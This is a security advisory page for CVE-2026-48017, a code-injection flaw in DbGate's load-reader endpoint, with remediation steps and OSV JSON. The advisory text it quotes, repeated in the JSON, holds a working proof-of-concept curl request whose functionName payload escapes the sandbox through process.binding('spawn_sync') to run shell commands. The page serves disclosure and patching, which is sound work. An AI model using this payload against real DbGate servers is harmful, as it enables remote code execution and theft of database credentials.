CVE-2026-48017: DbGate Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-hv83-ggc4-v385
CVSS 8.8
CWE-94
Published
Advisory Summary

CVE-2026-48017 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting DbGate libraries in the npm ecosystem. The issue involves remote code execution via functionname injection in loadreader endpoint. Remediation is available by upgrading affected packages to version 7.1.9.

CVE-2026-48017 at a Glance

CVE Identifier CVE-2026-48017
GHSA Identifier GHSA-hv83-ggc4-v385
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product DbGate
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-48017

To remediate this vulnerability, upgrade all affected DbGate dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

dbgate-api fixed: 7.1.9
npm install dbgate-api@7.1.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls dbgate-api

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-48017, inspect your project dependencies using npm:

npm ls dbgate-api

Analyze the terminal output to locate any version of DbGate in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.1.9), your application is affected.

Note: The npm ls dbgate-api command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In DbGate, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `POST /runners/load-reader` endpoint in DbGate accepts a `functionName` parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the `require=null` sandbox restriction. ### Details The `loadReader` endpoint in `packages/api/src/controllers/runners.js` (line 353) takes a `functionName` parameter from the request body and passes it to `compileShellApiFunctionName()` which performs no sanitization: **Vulnerable code** ([permalink](https://github.com/dbgate/dbgate/blob/ea3a61077ab09775c39890c465f0b3e97f6c812e/packages/api/src/controllers/runners.js#L352-L368)): ```javascript loadReader_meta: true, async loadReader({ functionName, props }) { if (!platformInfo.isElectron) { if (props?.fileName && !checkSecureDirectories(props.fileName)) { return { errorMessage: 'DBGM-00289 Unallowed file' }; } } const prefix = extractShellApiPlugins(functionName) .map(packageName => `// @require ${packageName}\n`) .join(''); const promise = new Promise((resolve, reject) => { const runid = crypto.randomUUID(); this.requests[runid] = { resolve, reject, exitOnStreamError: true }; this.startCore(runid, loaderScriptTemplate(prefix, functionName, props, runid)); }); return promise; }, ``` The `loaderScriptTemplate` at line 57-68 directly interpolates the compiled function name: ```javascript const loaderScriptTemplate = (prefix, functionName, props, runid) => ` ${prefix} const dbgateApi = require(process.env.DBGATE_API); dbgateApi.initializeApiEnvironment(); ${requirePluginsTemplate(extractShellApiPlugins(functionName, props))} require=null; async function run() { const reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)}); const writer=await dbgateApi.collectorWriter({runid: '${runid}'}); await dbgateApi.copyStream(reader, writer); } dbgateApi.runScript(run); `; ``` The `compileShellApiFunctionName` in `packages/tools/src/packageTools.ts` (line 30-35) performs no validation: ```typescript export function compileShellApiFunctionName(functionName) { const nsMatch = functionName.match(/^([^@]+)@([^@]+)/); if (nsMatch) { return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`; } return `dbgateApi.${functionName}`; } ``` **Two injection vectors:** 1. Without `@`: The entire `functionName` is appended after `dbgateApi.` without sanitization 2. With `@`: The part before `@` (`nsMatch[1]`) is appended after `.shellApi.` without sanitization (only the part after `@` goes through `_camelCase`) Although the script template sets `require=null`, the `process` global is still available. `process.binding("spawn_sync")` provides direct access to spawn child processes, completely bypassing the sandbox. **Compare with safe code in the same file** (line 292): ```javascript start_meta: true, async start({ script }, req) { // ... await testStandardPermission('run-shell-script', req); // <-- Permission check! if (!platformInfo.allowShellScripting) { // <-- Platform check! return { errorMessage: 'DBGM-00286 Shell scripting is not allowed' }; } // ... }, ``` The `start` endpoint requires the `run-shell-script` permission and checks `allowShellScripting`. The `loadReader` endpoint has **neither** of these checks, making it a privilege escalation from any authenticated user to full RCE. ### PoC An authenticated user sends a POST request to `/runners/load-reader` with a crafted `functionName`: ```bash # The malicious functionName breaks out of the expression and injects # process.binding("spawn_sync") to execute arbitrary commands. # The // at the end comments out the remaining template code. curl -X POST http://TARGET:3000/runners/load-reader \ -H "Content-Type: application/json" \ -H "Authorization: Bearer <JWT_TOKEN>" \ -d '{ "functionName": "toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"/bin/sh\",args:[\"/bin/sh\",\"-c\",\"id > /tmp/dbgate-rce-proof\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString//", "props": {} }' ``` This generates the following JavaScript that is forked as a child process: ```javascript const dbgateApi = require(process.env.DBGATE_API); dbgateApi.initializeApiEnvironment(); require=null; async function run() { const reader=await dbgateApi.toString();var __r=process.binding("spawn_sync").spawn({file:"/bin/sh",args:["/bin/sh","-c","id > /tmp/dbgate-rce-proof"],envPairs:[],stdio:[{type:"pipe",readable:true,writable:false},{type:"pipe",readable:false,writable:true},{type:"pipe",readable:false,writable:true}]});dbgateApi.toString//({}) // ... rest of template } dbgateApi.runScript(run); ``` After the request, `/tmp/dbgate-rce-proof` contains the output of `id`, confirming arbitrary command execution. A standalone PoC script is available at: `reports/cve-hunting/pocs/dbgate/rce_loadreader_functionname_injection.py` ### Impact An authenticated user with **basic access** (no admin role, no `run-shell-script` permission required) can: 1. **Execute arbitrary OS commands** on the DbGate server with the privileges of the Node.js process 2. **Read/write any file** accessible to the process 3. **Pivot to connected databases** by reading connection credentials from DbGate's storage 4. **Compromise the host system** - in Docker deployments, this typically means root access within the container This is particularly severe because: - No special permissions are required beyond basic authentication - The `require=null` sandbox is completely bypassed via `process.binding("spawn_sync")` - The `loadReader` endpoint lacks the permission checks present on the `start` endpoint - DbGate is commonly deployed as a web-accessible database management tool

CVE-2026-48017 Affected DbGate Versions

1 component(s)
Fixed Versions:
7.1.9
Product / Package Ecosystem Affected Versions Fixed Version
dbgate-api
npm
< 7.1.9
7.1.9

References

Frequently Asked Questions

What is CVE-2026-48017?
CVE-2026-48017 is a security vulnerability in DbGate involving Remote Code Execution via functionName injection in loadReader endpoint under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which DbGate versions are affected?
Affected versions include releases prior to 7.1.9 across affected packages: dbgate-api.
What version fixes CVE-2026-48017?
Upgrading to 7.1.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is dbgate-api affected?
Yes, dbgate-api is affected in releases prior to 7.1.9. Upgrade your dependency to 7.1.9 or later.
What is the CVSS score of CVE-2026-48017?
CVE-2026-48017 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-48017?
CVE-2026-48017 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2026-48017?
Run the dependency tree command: 'npm ls dbgate-api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hv83-ggc4-v385",
  "modified" : "2026-07-08T17:36:00Z",
  "published" : "2026-06-05T16:39:38Z",
  "aliases" : [ "CVE-2026-48017" ],
  "summary" : "DbGate: Remote Code Execution via functionName injection in loadReader endpoint",
  "details" : "### Summary\n\nThe `POST /runners/load-reader` endpoint in DbGate accepts a `functionName` parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the `require=null` sandbox restriction.\n\n### Details\n\nThe `loadReader` endpoint in `packages/api/src/controllers/runners.js` (line 353) takes a `functionName` parameter from the request body and passes it to `compileShellApiFunctionName()` which performs no sanitization:\n\n**Vulnerable code** ([permalink](https://github.com/dbgate/dbgate/blob/ea3a61077ab09775c39890c465f0b3e97f6c812e/packages/api/src/controllers/runners.js#L352-L368)):\n\n```javascript\n  loadReader_meta: true,\n  async loadReader({ functionName, props }) {\n    if (!platformInfo.isElectron) {\n      if (props?.fileName && !checkSecureDirectories(props.fileName)) {\n        return { errorMessage: 'DBGM-00289 Unallowed file' };\n      }\n    }\n    const prefix = extractShellApiPlugins(functionName)\n      .map(packageName => `// @require ${packageName}\\n`)\n      .join('');\n\n    const promise = new Promise((resolve, reject) => {\n      const runid = crypto.randomUUID();\n      this.requests[runid] = { resolve, reject, exitOnStreamError: true };\n      this.startCore(runid, loaderScriptTemplate(prefix, functionName, props, runid));\n    });\n    return promise;\n  },\n```\n\nThe `loaderScriptTemplate` at line 57-68 directly interpolates the compiled function name:\n\n```javascript\nconst loaderScriptTemplate = (prefix, functionName, props, runid) => `\n${prefix}\nconst dbgateApi = require(process.env.DBGATE_API);\ndbgateApi.initializeApiEnvironment();\n${requirePluginsTemplate(extractShellApiPlugins(functionName, props))}\nrequire=null;\nasync function run() {\nconst reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});\nconst writer=await dbgateApi.collectorWriter({runid: '${runid}'});\nawait dbgateApi.copyStream(reader, writer);\n}\ndbgateApi.runScript(run);\n`;\n```\n\nThe `compileShellApiFunctionName` in `packages/tools/src/packageTools.ts` (line 30-35) performs no validation:\n\n```typescript\nexport function compileShellApiFunctionName(functionName) {\n  const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);\n  if (nsMatch) {\n    return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;\n  }\n  return `dbgateApi.${functionName}`;\n}\n```\n\n**Two injection vectors:**\n1. Without `@`: The entire `functionName` is appended after `dbgateApi.` without sanitization\n2. With `@`: The part before `@` (`nsMatch[1]`) is appended after `.shellApi.` without sanitization (only the part after `@` goes through `_camelCase`)\n\nAlthough the script template sets `require=null`, the `process` global is still available. `process.binding(\"spawn_sync\")` provides direct access to spawn child processes, completely bypassing the sandbox.\n\n**Compare with safe code in the same file** (line 292):\n\n```javascript\n  start_meta: true,\n  async start({ script }, req) {\n    // ...\n    await testStandardPermission('run-shell-script', req);  // <-- Permission check!\n    if (!platformInfo.allowShellScripting) {                 // <-- Platform check!\n      return { errorMessage: 'DBGM-00286 Shell scripting is not allowed' };\n    }\n    // ...\n  },\n```\n\nThe `start` endpoint requires the `run-shell-script` permission and checks `allowShellScripting`. The `loadReader` endpoint has **neither** of these checks, making it a privilege escalation from any authenticated user to full RCE.\n\n### PoC\n\nAn authenticated user sends a POST request to `/runners/load-reader` with a crafted `functionName`:\n\n```bash\n# The malicious functionName breaks out of the expression and injects\n# process.binding(\"spawn_sync\") to execute arbitrary commands.\n# The // at the end comments out the remaining template code.\n\ncurl -X POST http://TARGET:3000/runners/load-reader \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer <JWT_TOKEN>\" \\\n  -d '{\n    \"functionName\": \"toString();var __r=process.binding(\\\"spawn_sync\\\").spawn({file:\\\"/bin/sh\\\",args:[\\\"/bin/sh\\\",\\\"-c\\\",\\\"id > /tmp/dbgate-rce-proof\\\"],envPairs:[],stdio:[{type:\\\"pipe\\\",readable:true,writable:false},{type:\\\"pipe\\\",readable:false,writable:true},{type:\\\"pipe\\\",readable:false,writable:true}]});dbgateApi.toString//\",\n    \"props\": {}\n  }'\n```\n\nThis generates the following JavaScript that is forked as a child process:\n\n```javascript\nconst dbgateApi = require(process.env.DBGATE_API);\ndbgateApi.initializeApiEnvironment();\nrequire=null;\nasync function run() {\nconst reader=await dbgateApi.toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"/bin/sh\",args:[\"/bin/sh\",\"-c\",\"id > /tmp/dbgate-rce-proof\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString//({})\n// ... rest of template\n}\ndbgateApi.runScript(run);\n```\n\nAfter the request, `/tmp/dbgate-rce-proof` contains the output of `id`, confirming arbitrary command execution.\n\nA standalone PoC script is available at: `reports/cve-hunting/pocs/dbgate/rce_loadreader_functionname_injection.py`\n\n### Impact\n\nAn authenticated user with **basic access** (no admin role, no `run-shell-script` permission required) can:\n\n1. **Execute arbitrary OS commands** on the DbGate server with the privileges of the Node.js process\n2. **Read/write any file** accessible to the process\n3. **Pivot to connected databases** by reading connection credentials from DbGate's storage\n4. **Compromise the host system** - in Docker deployments, this typically means root access within the container\n\nThis is particularly severe because:\n- No special permissions are required beyond basic authentication\n- The `require=null` sandbox is completely bypassed via `process.binding(\"spawn_sync\")`\n- The `loadReader` endpoint lacks the permission checks present on the `start` endpoint\n- DbGate is commonly deployed as a web-accessible database management tool",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "dbgate-api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.1.9"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.1.8"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dbgate/dbgate/security/advisories/GHSA-hv83-ggc4-v385"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48017"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dbgate/dbgate"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dbgate/dbgate/releases/tag/v7.1.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-05T16:39:38Z",
    "nvd_published_at" : "2026-06-15T22:16:16Z"
  }
}